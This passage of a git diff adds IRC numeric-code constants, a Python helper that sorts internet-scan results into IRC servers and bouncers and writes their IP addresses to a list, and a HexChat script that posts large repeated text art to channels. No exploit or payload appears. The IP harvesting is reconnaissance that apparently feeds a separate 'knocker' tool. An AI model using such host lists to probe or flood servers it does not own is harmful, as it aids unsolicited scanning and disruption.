+	RPL_NOTOPIC              = '331' # RFC1459
+	RPL_TOPIC                = '332' # RFC1459
+	RPL_TOPICWHOTIME         = '333' # ircu
+	RPL_LISTUSAGE            = '334' # ircu
+	RPL_COMMANDSYNTAX        = '334' # Bahamut
+	RPL_LISTSYNTAX           = '334' # Unreal
+	RPL_WHOISBOT             = '335' # Unreal
+	RPL_WHOISTEXT            = '335' # Hybrid
+	RPL_WHOISACCOUNTONLY     = '335' # Nefarious
+	RPL_INVITELIST           = '336' # Hybrid
+	RPL_WHOISBOT             = '336' # Nefarious
+	RPL_ENDOFINVITELIST      = '337' # Hybrid
+	RPL_WHOISTEXT            = '337' # Hybrid
+	RPL_CHANPASSOK           = '338'
+	RPL_WHOISACTUALLY        = '338' # ircu, Bahamut
+	RPL_BADCHANPASS          = '339'
+	RPL_WHOISMARKS           = '339' # Nefarious
+	RPL_USERIP               = '340' # ircu
+	RPL_INVITING             = '341' # RFC1459
+	RPL_SUMMONING            = '342' # RFC1459
+	RPL_WHOISKILL            = '343' # Nefarious
+	RPL_WHOISCOUNTRY         = '344' # InspIRCd 2.0
+	RPL_WHOISCOUNTRY         = '344' # InspIRCd 3.0
+	RPL_REOPLIST             = '344' # IRCnet
+	RPL_INVITED              = '345' # GameSurge
+	RPL_ENDOFREOPLIST        = '345' # IRCnet
+	RPL_INVITELIST           = '346' # RFC2818
+	RPL_ENDOFINVITELIST      = '347' # RFC2818
+	RPL_EXCEPTLIST           = '348' # RFC2818
+	RPL_ENDOFEXCEPTLIST      = '349' # RFC2818
+	RPL_WHOISGATEWAY         = '350' # InspIRCd 3.0
+	RPL_VERSION              = '351' # RFC1459
+	RPL_WHOREPLY             = '352' # RFC1459
+	RPL_NAMREPLY             = '353' # RFC1459
+	RPL_WHOSPCRPL            = '354' # ircu
+	RPL_NAMREPLY_            = '355' # QuakeNet
+	RPL_MAP                  = '357' # AustHex
+	RPL_MAPMORE              = '358' # AustHex
+	RPL_MAPEND               = '359' # AustHex
+	RPL_WHOWASREAL           = '360' # Charybdis
+	RPL_KILLDONE             = '361' # RFC1459
+	RPL_CLOSING              = '362' # RFC1459
+	RPL_CLOSEEND             = '363' # RFC1459
+	RPL_LINKS                = '364' # RFC1459
+	RPL_ENDOFLINKS           = '365' # RFC1459
+	RPL_ENDOFNAMES           = '366' # RFC1459
+	RPL_BANLIST              = '367' # RFC1459
+	RPL_ENDOFBANLIST         = '368' # RFC1459
+	RPL_ENDOFWHOWAS          = '369' # RFC1459
+	RPL_INFO                 = '371' # RFC1459
+	RPL_MOTD                 = '372' # RFC1459
+	RPL_INFOSTART            = '373' # RFC1459
+	RPL_ENDOFINFO            = '374' # RFC1459
+	RPL_MOTDSTART            = '375' # RFC1459
+	RPL_ENDOFMOTD            = '376' # RFC1459
+	RPL_KICKEXPIRED          = '377' # aircd
+	RPL_SPAM                 = '377' # AustHex
+	RPL_BANEXPIRED           = '378' # aircd
+	RPL_WHOISHOST            = '378' # Unreal
+	RPL_MOTD                 = '378' # AustHex
+	RPL_KICKLINKED           = '379' # aircd
+	RPL_WHOISMODES           = '379' # Unreal
+	RPL_WHOWASIP             = '379' # InspIRCd 2.0
+	RPL_BANLINKED            = '380' # aircd
+	RPL_YOURHELPER           = '380' # AustHex
+	RPL_YOUREOPER            = '381' # RFC1459
+	RPL_REHASHING            = '382' # RFC1459
+	RPL_YOURESERVICE         = '383' # RFC2818
+	RPL_MYPORTIS             = '384' # RFC1459
+	RPL_NOTOPERANYMORE       = '385' # AustHex, Hybrid, Unreal
+	RPL_QLIST                = '386' # Unreal
+	RPL_IRCOPS               = '386' # Ultimate
+	RPL_IRCOPSHEADER         = '386' # Nefarious
+	RPL_RSACHALLENGE         = '386' # Hybrid
+	RPL_ENDOFQLIST           = '387' # Unreal
+	RPL_ENDOFIRCOPS          = '387' # Ultimate
+	RPL_IRCOPS               = '387' # Nefarious
+	RPL_ALIST                = '388' # Unreal
+	RPL_ENDOFIRCOPS          = '388' # Nefarious
+	RPL_ENDOFALIST           = '389' # Unreal
+	RPL_TIME                 = '391' # RFC1459
+	RPL_TIME                 = '391' # ircu
+	RPL_TIME                 = '391' # bdq-ircd
+	RPL_TIME                 = '391'
+	RPL_USERSSTART           = '392' # RFC1459
+	RPL_USERS                = '393' # RFC1459
+	RPL_ENDOFUSERS           = '394' # RFC1459
+	RPL_NOUSERS              = '395' # RFC1459
+	RPL_VISIBLEHOST          = '396' # Hybrid
+	RPL_CLONES               = '399' # InspIRCd 3.0
+	ERR_UNKNOWNERROR         = '400'
+	ERR_NOSUCHNICK           = '401' # RFC1459
+	ERR_NOSUCHSERVER         = '402' # RFC1459
+	ERR_NOSUCHCHANNEL        = '403' # RFC1459
+	ERR_CANNOTSENDTOCHAN     = '404' # RFC1459
+	ERR_TOOMANYCHANNELS      = '405' # RFC1459
+	ERR_WASNOSUCHNICK        = '406' # RFC1459
+	ERR_TOOMANYTARGETS       = '407' # RFC1459
+	ERR_NOSUCHSERVICE        = '408' # RFC2818
+	ERR_NOCOLORSONCHAN       = '408' # Bahamut
+	ERR_NOCTRLSONCHAN        = '408' # Hybrid
+	ERR_NOORIGIN             = '409' # RFC1459
+	ERR_INVALIDCAPCMD        = '410' # Undernet
+	ERR_NORECIPIENT          = '411' # RFC1459
+	ERR_NOTEXTTOSEND         = '412' # RFC1459
+	ERR_NOTOPLEVEL           = '413' # RFC1459
+	ERR_WILDTOPLEVEL         = '414' # RFC1459
+	ERR_BADMASK              = '415' # RFC2818
+	ERR_TOOMANYMATCHES       = '416' # IRCnet
+	ERR_QUERYTOOLONG         = '416' # ircu
+	ERR_INPUTTOOLONG         = '417' # ircu
+	ERR_LENGTHTRUNCATED      = '419' # aircd
+	ERR_AMBIGUOUSCOMMAND     = '420' # InspIRCd
+	ERR_UNKNOWNCOMMAND       = '421' # RFC1459
+	ERR_NOMOTD               = '422' # RFC1459
+	ERR_NOADMININFO          = '423' # RFC1459
+	ERR_FILEERROR            = '424' # RFC1459
+	ERR_NOOPERMOTD           = '425' # Unreal
+	ERR_TOOMANYAWAY          = '429' # Bahamut
+	ERR_EVENTNICKCHANGE      = '430' # AustHex
+	ERR_NONICKNAMEGIVEN      = '431' # RFC1459
+	ERR_ERRONEUSNICKNAME     = '432' # RFC1459
+	ERR_NICKNAMEINUSE        = '433' # RFC1459
+	ERR_SERVICENAMEINUSE     = '434' # AustHex
+	ERR_NORULES              = '434' # Unreal, Ultimate
+	ERR_SERVICECONFUSED      = '435' # Unreal
+	ERR_BANONCHAN            = '435' # Bahamut
+	ERR_NICKCOLLISION        = '436' # RFC1459
+	ERR_UNAVAILRESOURCE      = '437' # RFC2818
+	ERR_BANNICKCHANGE        = '437' # ircu
+	ERR_NICKTOOFAST          = '438' # ircu
+	ERR_DEAD                 = '438' # IRCnet
+	ERR_TARGETTOOFAST        = '439' # ircu
+	ERR_SERVICESDOWN         = '440' # Bahamut, Unreal
+	ERR_USERNOTINCHANNEL     = '441' # RFC1459
+	ERR_NOTONCHANNEL         = '442' # RFC1459
+	ERR_USERONCHANNEL        = '443' # RFC1459
+	ERR_NOLOGIN              = '444' # RFC1459
+	ERR_SUMMONDISABLED       = '445' # RFC1459
+	ERR_USERSDISABLED        = '446' # RFC1459
+	ERR_NONICKCHANGE         = '447' # Unreal
+	ERR_FORBIDDENCHANNEL     = '448' # Unreal
+	ERR_NOTIMPLEMENTED       = '449' # UnderNet
+	ERR_NOTREGISTERED        = '451' # RFC1459
+	ERR_IDCOLLISION          = '452'
+	ERR_NICKLOST             = '453'
+	ERR_HOSTILENAME          = '455' # Unreal
+	ERR_ACCEPTFULL           = '456'
+	ERR_ACCEPTEXIST          = '457'
+	ERR_ACCEPTNOT            = '458'
+	ERR_NOHIDING             = '459' # Unreal
+	ERR_NOTFORHALFOPS        = '460' # Unreal
+	ERR_NEEDMOREPARAMS       = '461' # RFC1459
+	ERR_ALREADYREGISTERED    = '462' # RFC1459
+	ERR_NOPERMFORHOST        = '463' # RFC1459
+	ERR_PASSWDMISMATCH       = '464' # RFC1459
+	ERR_YOUREBANNEDCREEP     = '465' # RFC1459
+	ERR_YOUWILLBEBANNED      = '466' # RFC1459
+	ERR_KEYSET               = '467' # RFC1459
+	ERR_INVALIDUSERNAME      = '468' # ircu
+	ERR_ONLYSERVERSCANCHANGE = '468' # Bahamut, Unreal
+	ERR_NOCODEPAGE           = '468' # rusnet-ircd
+	ERR_LINKSET              = '469' # Unreal
+	ERR_LINKCHANNEL          = '470' # Unreal
+	ERR_KICKEDFROMCHAN       = '470' # aircd
+	ERR_7BIT                 = '470' # rusnet-ircd
+	ERR_CHANNELISFULL        = '471' # RFC1459
+	ERR_UNKNOWNMODE          = '472' # RFC1459
+	ERR_INVITEONLYCHAN       = '473' # RFC1459
+	ERR_BANNEDFROMCHAN       = '474' # RFC1459
+	ERR_BADCHANNELKEY        = '475' # RFC1459
+	ERR_BADCHANMASK          = '476' # RFC2818
+	ERR_NOCHANMODES          = '477' # RFC2818
+	ERR_NEEDREGGEDNICK       = '477' # Bahamut, ircu, Unreal
+	ERR_BANLISTFULL          = '478' # RFC2818
+	ERR_BADCHANNAME          = '479' # Hybrid
+	ERR_LINKFAIL             = '479' # Unreal
+	ERR_NOCOLOR              = '479' # rusnet-ircd
+	ERR_NOULINE              = '480' # AustHex
+	ERR_CANNOTKNOCK          = '480' # Unreal
+	ERR_THROTTLE             = '480' # Ratbox
+	ERR_SSLONLYCHAN          = '480' # Hybrid
+	ERR_NOWALLOP             = '480' # rusnet-ircd
+	ERR_NOPRIVILEGES         = '481' # RFC1459
+	ERR_CHANOPRIVSNEEDED     = '482' # RFC1459
+	ERR_CANTKILLSERVER       = '483' # RFC1459
+	ERR_RESTRICTED           = '484' # RFC2818
+	ERR_ISCHANSERVICE        = '484' # UnderNet
+	ERR_DESYNC               = '484' # Bahamut, Hybrid, PTlink
+	ERR_ATTACKDENY           = '484' # Unreal
+	ERR_UNIQOPRIVSNEEDED     = '485' # RFC2818
+	ERR_KILLDENY             = '485' # Unreal
+	ERR_CANTKICKADMIN        = '485' # PTlink
+	ERR_ISREALSERVICE        = '485' # QuakeNet
+	ERR_CHANBANREASON        = '485' # Hybrid
+	ERR_BANNEDNICK           = '485' # Ratbox
+	ERR_NONONREG             = '486' # Unreal
+	ERR_RLINED               = '486' # rusnet-ircd
+	ERR_HTMDISABLED          = '486' # Unreal
+	ERR_CHANTOORECENT        = '487' # IRCnet
+	ERR_MSGSERVICES          = '487' # Bahamut
+	ERR_NOTFORUSERS          = '487' # Unreal
+	ERR_NONONSSL             = '487' # ChatIRCd
+	ERR_TSLESSCHAN           = '488' # IRCnet
+	ERR_HTMDISABLED          = '488' # Unreal
+	ERR_NOSSL                = '488' # Bahamut
+	ERR_SECUREONLYCHAN       = '489' # Unreal
+	ERR_VOICENEEDED          = '489' # UnderNet
+	ERR_ALLMUSTSSL           = '490' # InspIRCd
+	ERR_NOSWEAR              = '490' # Unreal
+	ERR_NOOPERHOST           = '491' # RFC1459
+	ERR_NOSERVICEHOST        = '492' # RFC1459
+	ERR_NOCTCP               = '492' # Hybrid / Unreal
+	ERR_CANNOTSENDTOUSER     = '492' # Charybdis?
+	ERR_NOSHAREDCHAN         = '493' # Bahamut
+	ERR_NOFEATURE            = '493' # ircu
+	ERR_BADFEATVALUE         = '494' # ircu
+	ERR_OWNMODE              = '494' # Bahamut, Charybdis?
+	ERR_BADLOGTYPE           = '495' # ircu
+	ERR_DELAYREJOIN          = '495' # Inspircd2.0
+	ERR_BADLOGSYS            = '496' # ircu
+	ERR_BADLOGVALUE          = '497' # ircu
+	ERR_ISOPERLCHAN          = '498' # ircu
+	ERR_CHANOWNPRIVNEEDED    = '499' # Unreal
+	ERR_TOOMANYJOINS         = '500' # Unreal?
+	ERR_NOREHASHPARAM        = '500' # rusnet-ircd
+	ERR_CANNOTSETMODER       = '500' # InspIRCd
+	ERR_UMODEUNKNOWNFLAG     = '501' # RFC1459
+	ERR_UNKNOWNSNOMASK       = '501' # InspIRCd
+	ERR_USERSDONTMATCH       = '502' # RFC1459
+	ERR_GHOSTEDCLIENT        = '503' # Hybrid
+	ERR_VWORLDWARN           = '503' # AustHex
+	ERR_USERNOTONSERV        = '504'
+	ERR_SILELISTFULL         = '511' # ircu
+	ERR_TOOMANYWATCH         = '512' # Bahamut
+	ERR_NOSUCHGLINE          = '512' # ircu
+	ERR_BADPING              = '513' # ircu
+	ERR_TOOMANYDCC           = '514' # Bahamut
+	ERR_NOSUCHJUPE           = '514' # irch
+	ERR_INVALID_ERROR        = '514' # ircu
+	ERR_BADEXPIRE            = '515' # ircu
+	ERR_DONTCHEAT            = '516' # ircu
+	ERR_DISABLED             = '517' # ircu
+	ERR_NOINVITE             = '518' # Unreal
+	ERR_LONGMASK             = '518' # ircu
+	ERR_ADMONLY              = '519' # Unreal
+	ERR_TOOMANYUSERS         = '519' # ircu
+	ERR_OPERONLY             = '520' # Unreal
+	ERR_MASKTOOWIDE          = '520' # ircu
+	ERR_WHOTRUNC             = '520' # AustHex
+	ERR_LISTSYNTAX           = '521' # Bahamut
+	ERR_NOSUCHGLINE          = '521' # Nefarious
+	ERR_WHOSYNTAX            = '522' # Bahamut
+	ERR_WHOLIMEXCEED         = '523' # Bahamut
+	ERR_QUARANTINED          = '524' # ircu
+	ERR_OPERSPVERIFY         = '524' # Unreal
+	ERR_HELPNOTFOUND         = '524' # Hybrid
+	ERR_INVALIDKEY           = '525' # ircu
+	ERR_REMOTEPFX            = '525' # CAPAB USERCMDPFX
+	ERR_PFXUNROUTABLE        = '526' # CAPAB USERCMDPFX
+	ERR_CANTSENDTOUSER       = '531' # InspIRCd
+	ERR_BADHOSTMASK          = '550' # QuakeNet
+	ERR_HOSTUNAVAIL          = '551' # QuakeNet
+	ERR_USINGSLINE           = '552' # QuakeNet
+	ERR_STATSSLINE           = '553' # QuakeNet
+	ERR_NOTLOWEROPLEVEL      = '560' # ircu
+	ERR_NOTMANAGER           = '561' # ircu
+	ERR_CHANSECURED          = '562' # ircu
+	ERR_UPASSSET             = '563' # ircu
+	ERR_UPASSNOTSET          = '564' # ircu
+	ERR_NOMANAGER            = '566' # ircu
+	ERR_UPASS_SAME_APASS     = '567' # ircu
+	ERR_LASTERROR            = '568' # ircu
+	RPL_NOOMOTD              = '568' # Nefarious
+	RPL_REAWAY               = '597' # Unreal
+	RPL_GONEAWAY             = '598' # Unreal
+	RPL_NOTAWAY              = '599' # Unreal
+	RPL_LOGON                = '600' # Bahamut, Unreal
+	RPL_LOGOFF               = '601' # Bahamut, Unreal
+	RPL_WATCHOFF             = '602' # Bahamut, Unreal
+	RPL_WATCHSTAT            = '603' # Bahamut, Unreal
+	RPL_NOWON                = '604' # Bahamut, Unreal
+	RPL_NOWOFF               = '605' # Bahamut, Unreal
+	RPL_WATCHLIST            = '606' # Bahamut, Unreal
+	RPL_ENDOFWATCHLIST       = '607' # Bahamut, Unreal
+	RPL_WATCHCLEAR           = '608' # Ultimate
+	RPL_NOWISAWAY            = '609' # Unreal
+	RPL_MAPMORE              = '610' # Unreal
+	RPL_ISOPER               = '610' # Ultimate
+	RPL_ISLOCOP              = '611' # Ultimate
+	RPL_ISNOTOPER            = '612' # Ultimate
+	RPL_ENDOFISOPER          = '613' # Ultimate
+	RPL_MAPMORE              = '615' # PTlink
+	RPL_WHOISMODES           = '615' # Ultimate
+	RPL_WHOISHOST            = '616' # Ultimate
+	RPL_WHOISSSLFP           = '617' # Nefarious
+	RPL_DCCSTATUS            = '617' # Bahamut
+	RPL_WHOISBOT             = '617' # Ultimate
+	RPL_DCCLIST              = '618' # Bahamut
+	RPL_ENDOFDCCLIST         = '619' # Bahamut
+	RPL_WHOWASHOST           = '619' # Ultimate
+	RPL_DCCINFO              = '620' # Bahamut
+	RPL_RULESSTART           = '620' # Ultimate
+	RPL_RULES                = '621' # Ultimate
+	RPL_ENDOFRULES           = '622' # Ultimate
+	RPL_MAPMORE              = '623' # Ultimate
+	RPL_OMOTDSTART           = '624' # Ultimate
+	RPL_OMOTD                = '625' # Ultimate
+	RPL_ENDOFOMOTD           = '626' # Ultimate
+	RPL_SETTINGS             = '630' # Ultimate
+	RPL_ENDOFSETTINGS        = '631' # Ultimate
+	RPL_DUMPING              = '640' # Unreal
+	RPL_DUMPRPL              = '641' # Unreal
+	RPL_EODUMP               = '642' # Unreal
+	RPL_SYNTAX               = '650' # Inspircd 3.0
+	RPL_CHANNELSMSG          = '651' # Inspircd 3.0
+	RPL_WHOWASIP             = '652' # InspIRCd 3.0
+	RPL_UNINVITED            = '653' # InspIRCd 3.0
+	RPL_SPAMCMDFWD           = '659' # Unreal
+	RPL_STARTTLS             = '670' # IRCv3
+	RPL_WHOISSECURE          = '671' # Unreal
+	RPL_UNKNOWNMODES         = '672' # Ithildin
+	RPL_WHOISREALIP          = '672' # Rizon
+	RPL_CANNOTSETMODES       = '673' # Ithildin
+	RPL_WHOISYOURID          = '674' # ChatIRCd
+	ERR_REDIRECT             = '690' # InspIRCd
+	ERR_STARTTLS             = '691' # IRCv3
+	ERR_INVALIDMODEPARAM     = '696' # InspIRCd 3.0
+	ERR_LISTMODEALREADYSET   = '697' # InspIRCd 3.0
+	ERR_LISTMODENOTSET       = '698' # InspIRCd 3.0
+	RPL_COMMANDS             = '700' # InspIRCd 3.0
+	RPL_COMMANDSEND          = '701' # InspIRCd 3.0
+	RPL_MODLIST              = '702' # Ratbox
+	RPL_COMMANDS             = '702' # InspIRCd 2.0
+	RPL_ENDOFMODLIST         = '703' # Ratbox
+	RPL_COMMANDSEND          = '703' # InspIRCd 2.0
+	RPL_HELPSTART            = '704' # Ratbox
+	RPL_HELPTXT              = '705' # Ratbox
+	RPL_ENDOFHELP            = '706' # Ratbox
+	ERR_TARGCHANGE           = '707' # Ratbox
+	RPL_ETRACEFULL           = '708' # Ratbox
+	RPL_ETRACE               = '709' # Ratbox
+	RPL_KNOCK                = '710' # Ratbox
+	RPL_KNOCKDLVR            = '711' # Ratbox
+	ERR_TOOMANYKNOCK         = '712' # Ratbox
+	ERR_CHANOPEN             = '713' # Ratbox
+	ERR_KNOCKONCHAN          = '714' # Ratbox
+	ERR_KNOCKDISABLED        = '715' # Ratbox
+	ERR_TOOMANYINVITE        = '715' # Hybrid
+	RPL_INVITETHROTTLE       = '715' # Rizon
+	RPL_TARGUMODEG           = '716' # Ratbox
+	RPL_TARGNOTIFY           = '717' # Ratbox
+	RPL_UMODEGMSG            = '718' # Ratbox
+	RPL_OMOTDSTART           = '720' # Ratbox
+	RPL_OMOTD                = '721' # Ratbox
+	RPL_ENDOFOMOTD           = '722' # Ratbox
+	ERR_NOPRIVS              = '723' # Ratbox
+	RPL_TESTMASK             = '724' # Ratbox
+	RPL_TESTLINE             = '725' # Ratbox
+	RPL_NOTESTLINE           = '726' # Ratbox
+	RPL_TESTMASKGECOS        = '727' # Ratbox
+	RPL_QUIETLIST            = '728' # Charybdis
+	RPL_ENDOFQUIETLIST       = '729' # Charybdis
+	RPL_MONONLINE            = '730' # Ratbox
+	RPL_MONOFFLINE           = '731' # Ratbox
+	RPL_MONLIST              = '732' # Ratbox
+	RPL_ENDOFMONLIST         = '733' # Ratbox
+	ERR_MONLISTFULL          = '734' # Ratbox
+	RPL_RSACHALLENGE2        = '740' # Ratbox
+	RPL_ENDOFRSACHALLENGE2   = '741' # Ratbox
+	ERR_MLOCKRESTRICTED      = '742' # Charybdis
+	ERR_INVALIDBAN           = '743' # Charybdis
+	ERR_TOPICLOCK            = '744' # InspIRCd?
+	RPL_SCANMATCHED          = '750' # Ratbox
+	RPL_SCANUMODES           = '751' # Ratbox
+	RPL_ETRACEEND            = '759' # irc2.11
+	RPL_WHOISKEYVALUE        = '760' # IRCv3
+	RPL_KEYVALUE             = '761' # IRCv3
+	RPL_METADATAEND          = '762' # IRCv3
+	ERR_METADATALIMIT        = '764' # IRCv3
+	ERR_TARGETINVALID        = '765' # IRCv3
+	ERR_NOMATCHINGKEY        = '766' # IRCv3
+	ERR_KEYINVALID           = '767' # IRCv3
+	ERR_KEYNOTSET            = '768' # IRCv3
+	ERR_KEYNOPERMISSION      = '769' # IRCv3
+	RPL_XINFO                = '771' # Ithildin
+	RPL_XINFOSTART           = '773' # Ithildin
+	RPL_XINFOEND             = '774' # Ithildin
+	RPL_STATSCOUNTRY         = '801' # InspIRCd 3.0
+	RPL_CHECK                = '802' # InspIRCd 3.0
+	RPL_OTHERUMODEIS         = '803' # InspIRCd 3.0
+	RPL_OTHERSNOMASKIS       = '804' # InspIRCd 3.0
+	RPL_LOGGEDIN             = '900' # Charybdis/Atheme, IRCv3
+	RPL_LOGGEDOUT            = '901' # Charybdis/Atheme, IRCv3
+	ERR_NICKLOCKED           = '902' # Charybdis/Atheme, IRCv3
+	RPL_SASLSUCCESS          = '903' # Charybdis/Atheme, IRCv3
+	ERR_SASLFAIL             = '904' # Charybdis/Atheme, IRCv3
+	ERR_SASLTOOLONG          = '905' # Charybdis/Atheme, IRCv3
+	ERR_SASLABORTED          = '906' # Charybdis/Atheme, IRCv3
+	ERR_SASLALREADY          = '907' # Charybdis/Atheme, IRCv3
+	RPL_SASLMECHS            = '908' # Charybdis/Atheme, IRCv3
+	RPL_ACCESSLIST           = '910' # InspIRCd
+	RPL_ENDOFACCESSLIST      = '911' # InspIRCd
+	ERR_BADCHANNEL           = '926' # InspIRCd
+	ERR_WORDFILTERED         = '936' # InspIRCd
+	ERR_ALREADYCHANFILTERED  = '937' # InspIRCd 2.0
+	ERR_NOSUCHCHANFILTER     = '938' # InspIRCd 2.0
+	ERR_CHANFILTERFULL       = '939' # InspIRCd 2.0
+	RPL_ENDOFSPAMFILTER      = '940' # InspIRCd
+	RPL_SPAMFILTER           = '941' # InspIRCd
+	ERR_INVALIDWATCHNICK     = '942' # InspIRCd
+	RPL_IDLETIMESET          = '944' # InspIRCd
+	RPL_NICKLOCKOFF          = '945' # InspIRCd
+	ERR_NICKNOTLOCKED        = '946' # InspIRCd
+	RPL_NICKLOCKON           = '947' # InspIRCd
+	ERR_INVALIDIDLETIME      = '948' # InspIRCd
+	RPL_UNSILENCED           = '950' # InspIRCd
+	RPL_SILENCED             = '951' # InspIRCd
+	ERR_SILENCE              = '952' # InspIRCd
+	RPL_ENDOFEXEMPTIONLIST   = '953' # InspIRCd
+	RPL_EXEMPTIONLIST        = '954' # InspIRCd
+	RPL_ENDOFPROPLIST        = '960' # InspIRCd
+	RPL_PROPLIST             = '961' # InspIRCd
+	ERR_CANNOTDOCOMMAND      = '972' # Unreal
+	ERR_CANTUNLOADMODULE     = '972' # InspIRCd
+	RPL_UNLOADEDMODULE       = '973' # InspIRCd
+	ERR_CANNOTCHANGECHANMODE = '974' # Unreal
+	ERR_CANTLOADMODULE       = '974' # InspIRCd
+	RPL_LOADEDMODULE         = '975' # InspIRCd
+	ERR_LASTERROR            = '975' # Nefarious
+	RPL_SERVLOCKON           = '988' # InspIRCd
+	RPL_SERVLOCKOFF          = '989' # InspIRCd
+	RPL_DCCALLOWSTART        = '990' # InspIRCd
+	RPL_DCCALLOWLIST         = '991' # InspIRCd
+	RPL_DCCALLOWEND          = '992' # InspIRCd
+	RPL_DCCALLOWTIMED        = '993' # InspIRCd
+	RPL_DCCALLOWPERMANENT    = '994' # InspIRCd
+	RPL_DCCALLOWREMOVED      = '995' # InspIRCd
+	ERR_DCCALLOWINVALID      = '996' # InspIRCd
+	RPL_DCCALLOWEXPIRED      = '997' # InspIRCd
+	ERR_UNKNOWNDCCALLOWCMD   = '998' # InspIRCd
+	RPL_DCCALLOWHELP         = '998' # InspIRCd
+	RPL_ENDOFDCCALLOWHELP    = '999' # InspIRCd 2.0
+	ERR_NUMERIC_ER           = '999' # Bahamut
diff --git a/efkh.py b/efkh.py
new file mode 100644
index 0000000..040a516
--- /dev/null
+++ b/efkh.py
@@ -0,0 +1,68 @@
+#!/usr/bin/env python
+# EFKnockr Helper - Developed by acidvegas in Python (https://acid.vegas/random)
+
+import json
+
+_bnc     = list()
+_irc     = list()
+_unknown = list()
+
+def _parse_data():
+	with open('netking.json','r') as _data_file:
+		for _line in _data_file:
+			_data = json.loads(_line)
+			if 'product' in _data:
+				if _data['product'] in ('BitlBee IRCd','psyBNC','Minbif','ShroudBNC irc-proxy'):
+					_bnc.append(_line)
+				else:
+					_irc.append(_line)
+			else:
+				if 'data' in _data:
+					if 'bitlbee' in _data['data'].lower() or 'psybnc' in _data['data'].lower() or 'shroudbnc' in _data['data'].lower():
+						_bnc.append(_line)
+					else:
+						if ':***' in _data['data'] or 'Looking up your hostname' in _data['data']:
+							_irc.append(_line)
+						else:
+							if 'PHP Notice' not in _data['data']:
+								if 'NOTICE' in _data['data']:
+									_irc.append(_line)
+								else:
+									_unknown.append(_line)
+				else:
+					_unknown.append(_line)
+
+def _write_data():
+	with open('bnc.json','w') as _bnc_file:
+		for _line in _bnc:
+			_bnc_file.write(_line)
+	with open('irc.json','w') as _irc_file:
+		for _line in _irc:
+			_irc_file.write(_line)
+	with open('unknown.json','w') as _unknown_file:
+		for _line in _unknown:
+			_unknown_file.write(_line)
+
+_parse_data()
+_write_data()
+
+print('BNC: ' + str(len(_bnc    )))
+print('IRC: ' + str(len(_irc    )))
+print('???: ' + str(len(_unknown)))
+
+_ips = list()
+
+def _parse_ips():
+    with open('irc.json','r') as _data_file:
+        for _line in _data_file:
+            _data = json.loads(_line)
+            _ips.append(_data['ip_str'])
+
+def _write_ips():
+    with open('clean.txt','w') as _clean_file:
+        for _line in _ips:
+            _clean_file.write(_line + '\n')
+
+_parse_ips()
+_ips = sorted(set(_ips))
+_write_ips()
diff --git a/hueg-hexchat.pl b/hueg-hexchat.pl
new file mode 100644
index 0000000..e0d8c76
--- /dev/null
+++ b/hueg-hexchat.pl
@@ -0,0 +1,1258 @@
+######
+# hueg.pl PRO MODE
+# modded by ma0 and others
+# respekts 2 jakk and others
+# 2020 upd: ported for HexChat by anon
+######
+
+use Xchat qw(:all);
+
+$VERSION = ord 'LOL';
+
+register('hueg', $VERSION, 'make text hueg LOL');
+
+hook_command( "hueg", \&hueg );
+
+my $maxchars = 10; #num of chars b4 split
+my $reverse = 0;
+my $flip = 0;
+my $mirror = 0;
+my $scale = 1;
+my $k = chr 3;
+my $OO = pack('H*', '0f');
+
+sub hueg {
+  my $target =  context_info()->{channel};
+	my $data = $_[1][1];
+
+  $in = $data;
+  my $rep;
+
+  if ($in =~ /-rep (\d+)/i) {
+    $rep = $1;
+    $in =~ s/-rep \d+//i;
+  } else {
+    $rep = 1;
+  }
+  if($in =~ /-scale (\d+)/i) {
+    $scale = $1;
+    $in =~ s/-scale \d+//i;
+  } else {
+    $scale = 1;
+  }
+  if($in =~ /-re/i) {
+    $reverse = 1;
+    $in =~ s/-re//i;
+  } else {
+  $reverse = 0;
+  }
+  if($in =~ /-flip/i){
+    $flip = 1;
+    $in =~ s/-flip//i;
+  } else { 
+    $flip = 0;
+  }
+  if($in =~ /-mir/i) {
+    $mirror = 1;
+    $in =~ s/-mir//i; 
+  } else {
+    $mirror = 0;
+  }
+
+  $in =~ s/\s+$//;
+  if ($in eq '') {
+		Xchat::print "/hueg <string> [options]";
+		Xchat::print "      -rep <num>     num of times to scroll msg";
+		Xchat::print "      -re            reverses text";
+		Xchat::print "      -flip          flips text";
+		Xchat::print "      -mir           mirrors your text [NOT WORKIN LOL]";
+		Xchat::print "      -scale <num>   scales shit";      
+		Xchat::print "      num,num,num    fg, shadow, bg colors (bg optional)";
+  } else {
+
+    until ($rep==0) {
+
+		# colors();
+		if ($data =~ /(\d+),(\d+),(\d+)/) {
+			$c2 = "$k$1,$1";   #fg
+			$c1 = "$k$2,$2";   #sh
+			$c3 = "$k$3,$3";   #bg
+			$in =~ s/\d+,\d+,\d+//;
+		} elsif ($data =~ /(\d+),(\d+)/) {
+			$c2 = "$k$1,$1";   #fg
+			$c1 = "$k$2,$2";   #sh
+			$c3 = "$OO";        #bg (trans)
+			$in =~ s/\d+,\d+//;
+		} else {
+			$r1 = $r2 = 0;
+			until ($r1 > 1) { $r1 = int rand(15); }
+			until ($r2 > 1 && $r2 != $r1) { $r2 = int rand(15); }
+			$c2 = "$k$r1,$r1"; #fg (rand)
+			$c1 = "$k$r2,$r2"; #sh (rand)
+			$c3 = "$OO";        #bg (trans)
+		}
+		## // colors();
+
+		my %db = db1();
+  
+		## parse();
+		$in =~ s/(\S{$maxchars})/$1 /g;
+		undef @s0;
+		@s0 = split(' ',$in);
+		undef @s1;
+		$s1n = 0;
+		for $n (@s0) {
+			$nlen = length($n);
+			$slen = length($s1[$s1n]) + $nlen;
+			if ($slen <= $maxchars) {
+			  $s1[$s1n] .= "$n ";
+			} else {
+			  $s1n++;
+			  $s1[$s1n] .= "$n ";
+			}
+		}
+		### // parse()
+		
+		## process();
+		for $n (@s1) { #each line
+			if($reverse) {
+				$n = reverse $n;
+			}
+			$n =~ s/\s$//;
+			$n =~ s/^\s//;
+			undef @s2;
+			@s2 = split(undef,$n);
+			my $cur; # current string
+			my $tmp;
+			for $f (0..8*$scale) {
+				for $l (@s2) { #each letter
+					$all .= "$c3 $OO";
+					if($flip) { $cur = "$db{$l}[(9-$f)/$scale]"; } #line of letter
+					else { $cur = "$db{$l}[$f/$scale]"; }
+					$whitespace = " " x $scale;
+					$cur =~ s/ /$whitespace/g;
+					$all .= $cur;
+				}
+				$all .= "${c3} ";
+			
+				# Xchat::print $all;
+			
+				if($mirror) { $all = reverse $all; }
+				delaycommand('say '.$all);
+				$all = '';
+			}
+		}
+		### // process() 
+
+		select(undef,undef,undef,.1); # probably not necessary unless we care if the loop goes forever 
+		$rep--;
+    }
+  }
+  
+  return EAT_HEXCHAT;
+
+}
+
